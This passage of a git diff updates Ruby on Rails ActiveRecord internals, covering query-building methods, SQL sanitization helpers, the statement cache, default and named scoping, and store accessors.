+ check_if_method_has_arguments!(:unscope, args)
spawn.unscope!(*args)
end
def unscope!(*args) # :nodoc:
args.flatten!
+ self.unscope_values += args
args.each do |scope|
case scope
@@ -390,8 +422,12 @@ module ActiveRecord
# User.joins("LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id")
# => SELECT "users".* FROM "users" LEFT JOIN bookmarks ON bookmarks.bookmarkable_type = 'Post' AND bookmarks.user_id = users.id
def joins(*args)
- check_if_method_has_arguments!("joins", args)
- spawn.joins!(*args.compact.flatten)
+ check_if_method_has_arguments!(:joins, args)
+
+ args.compact!
+ args.flatten!
+
+ spawn.joins!(*args)
end
def joins!(*args) # :nodoc:
@@ -418,7 +454,7 @@ module ActiveRecord
# === string
#
# A single string, without additional arguments, is passed to the query
- # constructor as a SQL fragment, and used in the where clause of the query.
+ # constructor as an SQL fragment, and used in the where clause of the query.
#
# Client.where("orders_count = '2'")
# # SELECT * from clients where orders_count = '2';
@@ -548,6 +584,18 @@ module ActiveRecord
end
end
+ # Allows you to change a previously set where condition for a given attribute, instead of appending to that condition.
+ #
+ # Post.where(trashed: true).where(trashed: false) # => WHERE `trashed` = 1 AND `trashed` = 0
+ # Post.where(trashed: true).rewhere(trashed: false) # => WHERE `trashed` = 0
+ # Post.where(active: true).where(trashed: true).rewhere(trashed: false) # => WHERE `active` = 1 AND `trashed` = 0
+ #
+ # This is short-hand for unscope(where: conditions.keys).where(conditions). Note that unlike reorder, we're only unscoping
+ # the named conditions -- not the entire where statement.
+ def rewhere(conditions)
+ unscope(where: conditions.keys).where(conditions)
+ end
+
# Allows to specify a HAVING clause. Note that you can't use HAVING
# without also specifying a GROUP clause.
#
@@ -610,12 +658,11 @@ module ActiveRecord
self
end
- # Returns a chainable relation with zero records, specifically an
- # instance of the <tt>ActiveRecord::NullRelation</tt> class.
+ # Returns a chainable relation with zero records.
#
- # The returned <tt>ActiveRecord::NullRelation</tt> inherits from Relation and implements the
- # Null Object pattern. It is an object with defined null behavior and always returns an empty
- # array of records without querying the database.
+ # The returned relation implements the Null Object pattern. It is an
+ # object with defined null behavior and always returns an empty array of
+ # records without querying the database.
#
# Any subsequent condition chained to the returned relation will continue
# generating an empty relation and will not fire any query to the database.
@@ -635,7 +682,7 @@ module ActiveRecord
# when 'Reviewer'
# Post.published
# when 'Bad User'
- # Post.none # => returning [] instead breaks the previous code
+ # Post.none # It can't be chained if [] is returned.
# end
# end
#
@@ -687,7 +734,7 @@ module ActiveRecord
# Specifies table from which the records will be fetched. For example:
#
# Topic.select('title').from('posts')
- # #=> SELECT title FROM posts
+ # # => SELECT title FROM posts
#
# Can accept other relation objects. For example:
#
@@ -773,9 +820,10 @@ module ActiveRecord
end
def extending!(*modules, &block) # :nodoc:
- modules << Module.new(&block) if block_given?
+ modules << Module.new(&block) if block
+ modules.flatten!
- self.extending_values += modules.flatten
+ self.extending_values += modules
extend(*extending_values) if extending_values.any?
self
@@ -789,29 +837,32 @@ module ActiveRecord
end
def reverse_order! # :nodoc:
- self.reverse_order_value = !reverse_order_value
+ orders = order_values.uniq
+ orders.reject!(&:blank?)
+ self.order_values = reverse_sql_order(orders)
self
end
# Returns the Arel object associated with the relation.
- def arel
- @arel ||= with_default_scope.build_arel
+ def arel # :nodoc:
+ @arel ||= build_arel
end
- # Like #arel, but ignores the default scope of the model.
+ private
+
def build_arel
arel = Arel::SelectManager.new(table.engine, table)
build_joins(arel, joins_values.flatten) unless joins_values.empty?
- collapse_wheres(arel, (where_values - ['']).uniq)
+ collapse_wheres(arel, (where_values - [''])) #TODO: Add uniq with real value comparison / ignore uniqs that have binds
- arel.having(*having_values.uniq.reject{|h| h.blank?}) unless having_values.empty?
+ arel.having(*having_values.uniq.reject(&:blank?)) unless having_values.empty?
arel.take(connection.sanitize_limit(limit_value)) if limit_value
arel.skip(offset_value.to_i) if offset_value
- arel.group(*group_values.uniq.reject{|g| g.blank?}) unless group_values.empty?
+ arel.group(*group_values.uniq.reject(&:blank?)) unless group_values.empty?
build_order(arel)
@@ -821,23 +872,31 @@ module ActiveRecord
arel.from(build_from) if from_value
arel.lock(lock_value) if lock_value
+ # Reorder bind indexes if joins produced bind values
+ if arel.bind_values.any?
+ bvs = arel.bind_values + bind_values
+ arel.ast.grep(Arel::Nodes::BindParam).each_with_index do |bp, i|
+ column = bvs[i].first
+ bp.replace connection.substitute_at(column, i)
+ end
+ end
+
arel
end
- private
-
def symbol_unscoping(scope)
if !VALID_UNSCOPING_VALUES.include?(scope)
raise ArgumentError, "Called unscope() with invalid unscoping argument ':#{scope}'. Valid arguments are :#{VALID_UNSCOPING_VALUES.to_a.join(", :")}."
end
single_val_method = Relation::SINGLE_VALUE_METHODS.include?(scope)
- unscope_code = :"#{scope}_value#{'s' unless single_val_method}="
+ unscope_code = "#{scope}_value#{'s' unless single_val_method}="
case scope
when :order
- self.send(:reverse_order_value=, false)
result = []
+ when :where
+ self.bind_values = []
else
result = [] unless single_val_method
end
@@ -846,25 +905,25 @@ module ActiveRecord
end
def where_unscoping(target_value)
- target_value_sym = target_value.to_sym
+ target_value = target_value.to_s
where_values.reject! do |rel|
case rel
- when Arel::Nodes::In, Arel::Nodes::Equality
+ when Arel::Nodes::In, Arel::Nodes::NotIn, Arel::Nodes::Equality, Arel::Nodes::NotEqual
subrelation = (rel.left.kind_of?(Arel::Attributes::Attribute) ? rel.left : rel.right)
- subrelation.name.to_sym == target_value_sym
- else
- raise "unscope(where: #{target_value.inspect}) failed: unscoping #{rel.class} is unimplemented."
+ subrelation.name == target_value
end
end
+
+ bind_values.reject! { |col,_| col.name == target_value }
end
def custom_join_ast(table, joins)
- joins = joins.reject { |join| join.blank? }
+ joins = joins.reject(&:blank?)
return [] if joins.empty?
- joins.map do |join|
+ joins.map! do |join|
case join
when Array
join = Arel.sql(join.join(' ')) if array_of_strings?(join)
@@ -876,14 +935,13 @@ module ActiveRecord
end
def collapse_wheres(arel, wheres)
- equalities = wheres.grep(Arel::Nodes::Equality)
-
- arel.where(Arel::Nodes::And.new(equalities)) unless equalities.empty?
-
- (wheres - equalities).each do |where|
+ predicates = wheres.map do |where|
+ next where if ::Arel::Nodes::Equality === where
where = Arel.sql(where) if String === where
- arel.where(Arel::Nodes::Grouping.new(where))
+ Arel::Nodes::Grouping.new(where)
end
+
+ arel.where(Arel::Nodes::And.new(predicates)) if predicates.present?
end
def build_where(opts, other = [])
@@ -891,8 +949,14 @@ module ActiveRecord
when String, Array
[@klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
when Hash
+ opts = PredicateBuilder.resolve_column_aliases(klass, opts)
attributes = @klass.send(:expand_hash_conditions_for_aggregates, opts)
+ bv_len = bind_values.length
+ tmp_opts, bind_values = create_binds(opts, bv_len)
+ self.bind_values += bind_values
+
+ attributes = @klass.send(:expand_hash_conditions_for_aggregates, tmp_opts)
attributes.values.grep(ActiveRecord::Relation) do |rel|
self.bind_values += rel.bind_values
end
@@ -903,11 +967,35 @@ module ActiveRecord
end
end
+ def create_binds(opts, idx)
+ bindable, non_binds = opts.partition do |column, value|
+ case value
+ when String, Integer, ActiveRecord::StatementCache::Substitute
+ @klass.columns_hash.include? column.to_s
+ else
+ false
+ end
+ end
+
+ new_opts = {}
+ binds = []
+
+ bindable.each_with_index do |(column,value), index|
+ binds.push [@klass.columns_hash[column.to_s], value]
+ new_opts[column] = connection.substitute_at(column, index + idx)
+ end
+
+ non_binds.each { |column,value| new_opts[column] = value }
+
+ [new_opts, binds]
+ end
+
def build_from
opts, name = from_value
case opts
when Relation
name ||= 'subquery'
+ self.bind_values = opts.bind_values + self.bind_values
opts.arel.as(name.to_s)
else
opts
@@ -921,7 +1009,7 @@ module ActiveRecord
:string_join
when Hash, Symbol, Array
:association_join
- when ActiveRecord::Associations::JoinDependency::JoinAssociation
+ when ActiveRecord::Associations::JoinDependency
:stashed_join
when Arel::Nodes::Join
:join_node
@@ -933,7 +1021,7 @@ module ActiveRecord
association_joins = buckets[:association_join] || []
stashed_association_joins = buckets[:stashed_join] || []
join_nodes = (buckets[:join_node] || []).uniq
- string_joins = (buckets[:string_join] || []).map { |x| x.strip }.uniq
+ string_joins = (buckets[:string_join] || []).map(&:strip).uniq
join_list = join_nodes + custom_join_ast(manager, string_joins)
@@ -943,21 +1031,24 @@ module ActiveRecord
join_list
)
- join_dependency.graft(*stashed_association_joins)
+ join_infos = join_dependency.join_constraints stashed_association_joins
- # FIXME: refactor this to build an AST
- join_dependency.join_associations.each do |association|
- association.join_to(manager)
+ join_infos.each do |info|
+ info.joins.each { |join| manager.from(join) }
+ manager.bind_values.concat info.binds
end
- manager.join_sources.concat join_list
+ manager.join_sources.concat(join_list)
manager
end
def build_select(arel, selects)
- unless selects.empty?
- arel.project(*selects)
+ if !selects.empty?
+ expanded_select = selects.map do |field|
+ columns_hash.key?(field.to_s) ? arel_table[field] : field
+ end
+ arel.project(*expanded_select)
else
arel.project(@klass.arel_table[Arel.star])
end
@@ -971,16 +1062,10 @@ module ActiveRecord
when Arel::Nodes::Ordering
o.reverse
when String
- o.to_s.split(',').collect do |s|
+ o.to_s.split(',').map! do |s|
s.strip!
s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC')
end
- when Symbol
- { o => :desc }
- when Hash
- o.each_with_object({}) do |(field, dir), memo|
- memo[field] = (dir == :asc ? :desc : :asc )
- end
else
o
end
@@ -988,35 +1073,54 @@ module ActiveRecord
end
def array_of_strings?(o)
- o.is_a?(Array) && o.all?{|obj| obj.is_a?(String)}
+ o.is_a?(Array) && o.all? { |obj| obj.is_a?(String) }
end
def build_order(arel)
- orders = order_values
- orders = reverse_sql_order(orders) if reverse_order_value
-
- orders = orders.uniq.reject(&:blank?).flat_map do |order|
- case order
- when Symbol
- table[order].asc
- when Hash
- order.map { |field, dir| table[field].send(dir) }
- else
- order
- end
- end
+ orders = order_values.uniq
+ orders.reject!(&:blank?)
arel.order(*orders) unless orders.empty?
end
+ VALID_DIRECTIONS = [:asc, :desc, :ASC, :DESC,
+ 'asc', 'desc', 'ASC', 'DESC'] # :nodoc:
+
def validate_order_args(args)
- args.grep(Hash) do |h|
- unless (h.values - [:asc, :desc]).empty?
- raise ArgumentError, 'Direction should be :asc or :desc'
+ args.each do |arg|
+ next unless arg.is_a?(Hash)
+ arg.each do |_key, value|
+ raise ArgumentError, "Direction \"#{value}\" is invalid. Valid " \
+ "directions are: #{VALID_DIRECTIONS.inspect}" unless VALID_DIRECTIONS.include?(value)
end
end
end
+ def preprocess_order_args(order_args)
+ order_args.flatten!
+ validate_order_args(order_args)
+
+ references = order_args.grep(String)
+ references.map! { |arg| arg =~ /^([a-zA-Z]\w*)\.(\w+)/ && $1 }.compact!
+ references!(references) if references.any?
+
+ # if a symbol is given we prepend the quoted table name
+ order_args.map! do |arg|
+ case arg
+ when Symbol
+ arg = klass.attribute_alias(arg) if klass.attribute_alias?(arg)
+ table[arg].asc
+ when Hash
+ arg.map { |field, dir|
+ field = klass.attribute_alias(field) if klass.attribute_alias?(field)
+ table[field].send(dir.downcase)
+ }
+ else
+ arg
+ end
+ end.flatten!
+ end
+
# Checks to make sure that the arguments are not blank. Note that if some
# blank-like object were initially passed into the query method, then this
# method will not raise an error.
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
index de784f9f57..57d66bce4b 100644
--- a/activerecord/lib/active_record/relation/spawn_methods.rb
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -58,14 +58,16 @@ module ActiveRecord
# Post.order('id asc').only(:where) # discards the order condition
# Post.order('id asc').only(:where, :order) # uses the specified order
def only(*onlies)
+ if onlies.any? { |o| o == :where }
+ onlies << :bind
+ end
relation_with values.slice(*onlies)
end
private
def relation_with(values) # :nodoc:
- result = Relation.new(klass, table, values)
- result.default_scoped = default_scoped
+ result = Relation.create(klass, table, values)
result.extend(*extending_values) if extending_values.any?
result
end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
index 6156b3a5ba..228b2aa60f 100644
--- a/activerecord/lib/active_record/result.rb
+++ b/activerecord/lib/active_record/result.rb
@@ -3,11 +3,36 @@ module ActiveRecord
# This class encapsulates a Result returned from calling +exec_query+ on any
# database connection adapter. For example:
#
- # x = ActiveRecord::Base.connection.exec_query('SELECT * FROM foo')
- # x # => #<ActiveRecord::Result:0xdeadbeef>
+ # result = ActiveRecord::Base.connection.exec_query('SELECT id, title, body FROM posts')
+ # result # => #<ActiveRecord::Result:0xdeadbeef>
+ #
+ # # Get the column names of the result:
+ # result.columns
+ # # => ["id", "title", "body"]
+ #
+ # # Get the record values of the result:
+ # result.rows
+ # # => [[1, "title_1", "body_1"],
+ # [2, "title_2", "body_2"],
+ # ...
+ # ]
+ #
+ # # Get an array of hashes representing the result (column => value):
+ # result.to_hash
+ # # => [{"id" => 1, "title" => "title_1", "body" => "body_1"},
+ # {"id" => 2, "title" => "title_2", "body" => "body_2"},
+ # ...
+ # ]
+ #
+ # # ActiveRecord::Result also includes Enumerable.
+ # result.each do |row|
+ # puts row['title'] + " " + row['body']
+ # end
class Result
include Enumerable
+ IDENTITY_TYPE = Class.new { def type_cast(v); v; end }.new # :nodoc:
+
attr_reader :columns, :rows, :column_types
def initialize(columns, rows, column_types = {})
@@ -17,11 +42,19 @@ module ActiveRecord
@column_types = column_types
end
+ def identity_type # :nodoc:
+ IDENTITY_TYPE
+ end
+
+ def column_type(name)
+ @column_types[name] || identity_type
+ end
+
def each
if block_given?
hash_rows.each { |row| yield row }
else
- hash_rows.to_enum
+ hash_rows.to_enum { @rows.size }
end
end
@@ -50,12 +83,14 @@ module ActiveRecord
end
def initialize_copy(other)
- @columns = columns.dup
- @rows = rows.dup
- @hash_rows = nil
+ @columns = columns.dup
+ @rows = rows.dup
+ @column_types = column_types.dup
+ @hash_rows = nil
end
private
+
def hash_rows
@hash_rows ||=
begin
@@ -63,7 +98,21 @@ module ActiveRecord
# used as keys in ActiveRecord::Base's @attributes hash
columns = @columns.map { |c| c.dup.freeze }
@rows.map { |row|
- Hash[columns.zip(row)]
+ # In the past we used Hash[columns.zip(row)]
+ # though elegant, the verbose way is much more efficient
+ # both time and memory wise cause it avoids a big array allocation
+ # this method is called a lot and needs to be micro optimised
+ hash = {}
+
+ index = 0
+ length = columns.length
+
+ while index < length
+ hash[columns[index]] = row[index]
+ index += 1
+ end
+
+ hash
}
end
end
diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb
index 63e6738622..9d605b826a 100644
--- a/activerecord/lib/active_record/runtime_registry.rb
+++ b/activerecord/lib/active_record/runtime_registry.rb
@@ -13,5 +13,10 @@ module ActiveRecord
extend ActiveSupport::PerThreadRegistry
attr_accessor :connection_handler, :sql_runtime, :connection_id
+
+ [:connection_handler, :sql_runtime, :connection_id].each do |val|
+ class_eval %{ def self.#{val}; instance.#{val}; end }, __FILE__, __LINE__
+ class_eval %{ def self.#{val}=(x); instance.#{val}=x; end }, __FILE__, __LINE__
+ end
end
end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
index 0ed97b66d6..1aa93ffbb3 100644
--- a/activerecord/lib/active_record/sanitization.rb
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -3,8 +3,8 @@ module ActiveRecord
extend ActiveSupport::Concern
module ClassMethods
- def quote_value(value, column = nil) #:nodoc:
- connection.quote(value,column)
+ def quote_value(value, column) #:nodoc:
+ connection.quote(value, column)
end
# Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
@@ -29,6 +29,7 @@ module ActiveRecord
end
end
alias_method :sanitize_sql, :sanitize_sql_for_conditions
+ alias_method :sanitize_conditions, :sanitize_sql
# Accepts an array, hash, or string of SQL conditions and sanitizes
# them into a valid SQL fragment for a SET clause.
@@ -86,11 +87,12 @@ module ActiveRecord
# { address: Address.new("123 abc st.", "chicago") }
# # => "address_street='123 abc st.' and address_city='chicago'"
def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
+ attrs = PredicateBuilder.resolve_column_aliases self, attrs
attrs = expand_hash_conditions_for_aggregates(attrs)
table = Arel::Table.new(table_name, arel_engine).alias(default_table_name)
PredicateBuilder.build_from_hash(self, attrs, table).map { |b|
- connection.visitor.accept b
+ connection.visitor.compile b
}.join(' AND ')
end
alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
@@ -99,11 +101,19 @@ module ActiveRecord
# { status: nil, group_id: 1 }
# # => "status = NULL , group_id = 1"
def sanitize_sql_hash_for_assignment(attrs, table)
+ c = connection
attrs.map do |attr, value|
- "#{connection.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value)}"
+ "#{c.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value, c, columns_hash[attr.to_s])}"
end.join(', ')
end
+ # Sanitizes a +string+ so that it is safe to use within a sql
+ # LIKE statement. This method uses +escape_character+ to escape all occurrences of "\", "_" and "%"
+ def sanitize_sql_like(string, escape_character = "\\")
+ pattern = Regexp.union(escape_character, "%", "_")
+ string.gsub(pattern) { |x| [escape_character, x].join }
+ end
+
# Accepts an array of conditions. The array has each value
# sanitized and interpolated into the SQL statement.
# ["name='%s' and group_id='%s'", "foo'bar", 4] returns "name='foo''bar' and group_id='4'"
@@ -120,13 +130,21 @@ module ActiveRecord
end
end
- alias_method :sanitize_conditions, :sanitize_sql
-
def replace_bind_variables(statement, values) #:nodoc:
raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
bound = values.dup
c = connection
- statement.gsub('?') { quote_bound_value(bound.shift, c) }
+ statement.gsub('?') do
+ replace_bind_variable(bound.shift, c)
+ end
+ end
+
+ def replace_bind_variable(value, c = connection) #:nodoc:
+ if ActiveRecord::Relation === value
+ value.to_sql
+ else
+ quote_bound_value(value, c)
+ end
end
def replace_named_bind_variables(statement, bind_vars) #:nodoc:
@@ -134,15 +152,17 @@ module ActiveRecord
if $1 == ':' # skip postgresql casts
$& # return the whole match
elsif bind_vars.include?(match = $2.to_sym)
- quote_bound_value(bind_vars[match])
+ replace_bind_variable(bind_vars[match])
else
raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
end
end
end
- def quote_bound_value(value, c = connection) #:nodoc:
- if value.respond_to?(:map) && !value.acts_like?(:string)
+ def quote_bound_value(value, c = connection, column = nil) #:nodoc:
+ if column
+ c.quote(value, column)
+ elsif value.respond_to?(:map) && !value.acts_like?(:string)
if value.respond_to?(:empty?) && value.empty?
c.quote(nil)
else
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index 1181cc739e..e055d571ab 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -17,9 +17,19 @@ module ActiveRecord
cattr_accessor :ignore_tables
@@ignore_tables = []
- def self.dump(connection=ActiveRecord::Base.connection, stream=STDOUT)
- new(connection).dump(stream)
- stream
+ class << self
+ def dump(connection=ActiveRecord::Base.connection, stream=STDOUT, config = ActiveRecord::Base)
+ new(connection, generate_options(config)).dump(stream)
+ stream
+ end
+
+ private
+ def generate_options(config)
+ {
+ table_name_prefix: config.table_name_prefix,
+ table_name_suffix: config.table_name_suffix
+ }
+ end
end
def dump(stream)
@@ -32,10 +42,11 @@ module ActiveRecord
private
- def initialize(connection)
+ def initialize(connection, options = {})
@connection = connection
@types = @connection.native_database_types
@version = Migrator::current_version rescue nil
+ @options = options
end
def header(stream)
@@ -112,6 +123,7 @@ HEADER
tbl.print %Q(, primary_key: "#{pk}")
elsif pkcol.sql_type == 'uuid'
tbl.print ", id: :uuid"
+ tbl.print %Q(, default: "#{pkcol.default_function}") if pkcol.default_function
end
else
tbl.print ", id: false"
@@ -201,7 +213,7 @@ HEADER
end
def remove_prefix_and_suffix(table)
- table.gsub(/^(#{ActiveRecord::Base.table_name_prefix})(.+)(#{ActiveRecord::Base.table_name_suffix})$/, "\\2")
+ table.gsub(/^(#{@options[:table_name_prefix]})(.+)(#{@options[:table_name_suffix]})$/, "\\2")
end
end
end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
index fee19b1096..a9d164e366 100644
--- a/activerecord/lib/active_record/schema_migration.rb
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -7,11 +7,11 @@ module ActiveRecord
class << self
def table_name
- "#{table_name_prefix}schema_migrations#{table_name_suffix}"
+ "#{table_name_prefix}#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
end
def index_name
- "#{table_name_prefix}unique_schema_migrations#{table_name_suffix}"
+ "#{table_name_prefix}unique_#{ActiveRecord::Base.schema_migrations_table_name}#{table_name_suffix}"
end
def table_exists?
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
index 0cf3d59985..3e43591672 100644
--- a/activerecord/lib/active_record/scoping.rb
+++ b/activerecord/lib/active_record/scoping.rb
@@ -27,6 +27,11 @@ module ActiveRecord
end
end
+ def initialize_internals_callback
+ super
+ populate_with_current_scope_attributes
+ end
+
# This class stores the +:current_scope+ and +:ignore_default_scope+ values
# for different classes. The registry is stored as a thread local, which is
# accessed through +ScopeRegistry.current+.
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
index d37d33d552..18190cb535 100644
--- a/activerecord/lib/active_record/scoping/default.rb
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -8,18 +8,10 @@ module ActiveRecord
class_attribute :default_scopes, instance_writer: false, instance_predicate: false
self.default_scopes = []
-
- def self.default_scopes?
- ActiveSupport::Deprecation.warn(
- "#default_scopes? is deprecated. Do something like #default_scopes.empty? instead."
- )
-
- !!self.default_scopes
- end
end
module ClassMethods
- # Returns a scope for the model without the +default_scope+.
+ # Returns a scope for the model without the previously set scopes.
#
# class Post < ActiveRecord::Base
# def self.default_scope
@@ -27,11 +19,12 @@ module ActiveRecord
# end
# end
#
- # Post.all # Fires "SELECT * FROM posts WHERE published = true"
- # Post.unscoped.all # Fires "SELECT * FROM posts"
+ # Post.all # Fires "SELECT * FROM posts WHERE published = true"
+ # Post.unscoped.all # Fires "SELECT * FROM posts"
+ # Post.where(published: false).unscoped.all # Fires "SELECT * FROM posts"
#
# This method also accepts a block. All queries inside the block will
- # not use the +default_scope+:
+ # not use the previously set scopes.
#
# Post.unscoped {
# Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
@@ -91,29 +84,24 @@ module ActiveRecord
scope = Proc.new if block_given?
if scope.is_a?(Relation) || !scope.respond_to?(:call)
- ActiveSupport::Deprecation.warn(
- "Calling #default_scope without a block is deprecated. For example instead " \
+ raise ArgumentError,
+ "Support for calling #default_scope without a block is removed. For example instead " \
"of `default_scope where(color: 'red')`, please use " \
"`default_scope { where(color: 'red') }`. (Alternatively you can just redefine " \
"self.default_scope.)"
- )
end
self.default_scopes += [scope]
end
- def build_default_scope # :nodoc:
+ def build_default_scope(base_rel = relation) # :nodoc:
if !Base.is_a?(method(:default_scope).owner)
# The user has defined their own default scope method, so call that
evaluate_default_scope { default_scope }
elsif default_scopes.any?
evaluate_default_scope do
- default_scopes.inject(relation) do |default_scope, scope|
- if !scope.is_a?(Relation) && scope.respond_to?(:call)
- default_scope.merge(unscoped { scope.call })
- else
- default_scope.merge(scope)
- end
+ default_scopes.inject(base_rel) do |default_scope, scope|
+ default_scope.merge(base_rel.scoping { scope.call })
end
end
end
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
index da73bead32..49cadb66d0 100644
--- a/activerecord/lib/active_record/scoping/named.rb
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -25,22 +25,18 @@ module ActiveRecord
if current_scope
current_scope.clone
else
- scope = relation
- scope.default_scoped = true
- scope
+ default_scoped
end
end
+ def default_scoped # :nodoc:
+ relation.merge(build_default_scope)
+ end
+
# Collects attributes from scopes that should be applied when creating
# an AR instance for the particular class this is called on.
def scope_attributes # :nodoc:
- if current_scope
- current_scope.scope_for_create
- else
- scope = relation
- scope.default_scoped = true
- scope.scope_for_create
- end
+ all.scope_for_create
end
# Are there default attributes associated with this scope?
@@ -143,28 +139,17 @@ module ActiveRecord
# Article.published.featured.latest_article
# Article.featured.titles
def scope(name, body, &block)
- extension = Module.new(&block) if block
-
- # Check body.is_a?(Relation) to prevent the relation actually being
- # loaded by respond_to?
- if body.is_a?(Relation) || !body.respond_to?(:call)
- ActiveSupport::Deprecation.warn(
- "Using #scope without passing a callable object is deprecated. For " \
- "example `scope :red, where(color: 'red')` should be changed to " \
- "`scope :red, -> { where(color: 'red') }`. There are numerous gotchas " \
- "in the former usage and it makes the implementation more complicated " \
- "and buggy. (If you prefer, you can just define a class method named " \
- "`self.red`.)"
- )
+ if dangerous_class_method?(name)
+ raise ArgumentError, "You tried to define a scope named \"#{name}\" " \
+ "on the model \"#{self.name}\", but Active Record already defined " \
+ "a class method with the same name."
end
+ extension = Module.new(&block) if block
+
singleton_class.send(:define_method, name) do |*args|
- if body.respond_to?(:call)
- scope = all.scoping { body.call(*args) }
- scope = scope.extending(extension) if extension
- else
- scope = body
- end
+ scope = all.scoping { body.call(*args) }
+ scope = scope.extending(extension) if extension
scope || all
end
diff --git a/activerecord/lib/active_record/statement_cache.rb b/activerecord/lib/active_record/statement_cache.rb
index dd4ee0c4a0..aece446384 100644
--- a/activerecord/lib/active_record/statement_cache.rb
+++ b/activerecord/lib/active_record/statement_cache.rb
@@ -14,13 +14,87 @@ module ActiveRecord
# The relation returned by the block is cached, and for each +execute+ call the cached relation gets duped.
# Database is queried when +to_a+ is called on the relation.
class StatementCache
- def initialize
- @relation = yield
- raise ArgumentError.new("Statement cannot be nil") if @relation.nil?
+ class Substitute; end
+
+ class Query
+ def initialize(sql)
+ @sql = sql
+ end
+
+ def sql_for(binds, connection)
+ @sql
+ end
+ end
+
+ class PartialQuery < Query
+ def initialize values
+ @values = values
+ @indexes = values.each_with_index.find_all { |thing,i|
+ Arel::Nodes::BindParam === thing
+ }.map(&:last)
+ end
+
+ def sql_for(binds, connection)
+ val = @values.dup
+ binds = binds.dup
+ @indexes.each { |i| val[i] = connection.quote(*binds.shift.reverse) }
+ val.join
+ end
+ end
+
+ def self.query(visitor, ast)
+ Query.new visitor.accept(ast, Arel::Collectors::SQLString.new).value
+ end
+
+ def self.partial_query(visitor, ast, collector)
+ collected = visitor.accept(ast, collector).value
+ PartialQuery.new collected
+ end
+
+ class Params
+ def bind; Substitute.new; end
end
- def execute
- @relation.dup.to_a
+ class BindMap
+ def initialize(bind_values)
+ @indexes = []
+ @bind_values = bind_values
+
+ bind_values.each_with_index do |(_, value), i|
+ if Substitute === value
+ @indexes << i
+ end
+ end
+ end
+
+ def bind(values)
+ bvs = @bind_values.map { |pair| pair.dup }
+ @indexes.each_with_index { |offset,i| bvs[offset][1] = values[i] }
+ bvs
+ end
+ end
+
+ attr_reader :bind_map, :query_builder
+
+ def self.create(connection, block = Proc.new)
+ relation = block.call Params.new
+ bind_map = BindMap.new relation.bind_values
+ query_builder = connection.cacheable_query relation.arel
+ new query_builder, bind_map
+ end
+
+ def initialize(query_builder, bind_map)
+ @query_builder = query_builder
+ @bind_map = bind_map
+ end
+
+ def execute(params, klass, connection)
+ bind_values = bind_map.bind params
+
+ sql = query_builder.sql_for bind_values, connection
+
+ klass.find_by_sql sql, bind_values
end
+ alias :call :execute
end
end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index a610f479f2..79a6ccbda0 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -15,6 +15,11 @@ module ActiveRecord
# You can set custom coder to encode/decode your serialized attributes to/from different formats.
# JSON, YAML, Marshal are supported out of the box. Generally it can be any wrapper that provides +load+ and +dump+.
#
+ # NOTE - If you are using PostgreSQL specific columns like +hstore+ or +json+ there is no need for
+ # the serialization provided by +store+. Simply use +store_accessor+ instead to generate
+ # the accessor methods. Be aware that these columns use a string keyed hash and do not allow access
+ # using a symbol.
+ #
# Examples:
#
# class User < ActiveRecord::Base
@@ -86,6 +91,9 @@ module ActiveRecord
end
end
+ # assign new store attribute and create new hash to ensure that each class in the hierarchy
+ # has its own hash of stored attributes.
+ self.stored_attributes = {} if self.stored_attributes.blank?
self.stored_attributes[store_attribute] ||= []
self.stored_attributes[store_attribute] |= keys
end
@@ -101,26 +109,58 @@ module ActiveRecord
protected
def read_store_attribute(store_attribute, key)
- attribute = initialize_store_attribute(store_attribute)
- attribute[key]
+ accessor = store_accessor_for(store_attribute)
+ accessor.read(self, store_attribute, key)
end
def write_store_attribute(store_attribute, key, value)
- attribute = initialize_store_attribute(store_attribute)
- if value != attribute[key]
- send :"#{store_attribute}_will_change!"
- attribute[key] = value
- end
+ accessor = store_accessor_for(store_attribute)
+ accessor.write(self, store_attribute, key, value)
end
private
- def initialize_store_attribute(store_attribute)
- attribute = send(store_attribute)
- unless attribute.is_a?(ActiveSupport::HashWithIndifferentAccess)
- attribute = IndifferentCoder.as_indifferent_hash(attribute)
- send :"#{store_attribute}=", attribute
+ def store_accessor_for(store_attribute)
+ @column_types[store_attribute.to_s].accessor
+ end
+
+ class HashAccessor
+ def self.read(object, attribute, key)
+ prepare(object, attribute)
+ object.public_send(attribute)[key]
+ end
+
+ def self.write(object, attribute, key, value)
+ prepare(object, attribute)
+ if value != read(object, attribute, key)
+ object.public_send :"#{attribute}_will_change!"
+ object.public_send(attribute)[key] = value
+ end
+ end
+
